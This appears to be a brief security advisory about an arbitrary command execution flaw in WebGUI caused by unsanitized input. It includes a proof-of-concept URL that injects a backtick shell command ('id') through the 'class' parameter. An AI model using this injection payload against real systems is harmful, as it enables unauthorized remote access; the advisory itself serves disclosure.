source: https://www.securityfocus.com/bid/15083/info

WebGUI is prone to an arbitrary command execution vulnerability. This is due to insufficient sanitization of user-supplied data.

This issue can facilitate unauthorized remote access. 

http://www.example.com/WebGUI/index.pl/homels?func=add;class=WebGUI::Asset::Wobject::Article%3bprint%20%60id%60;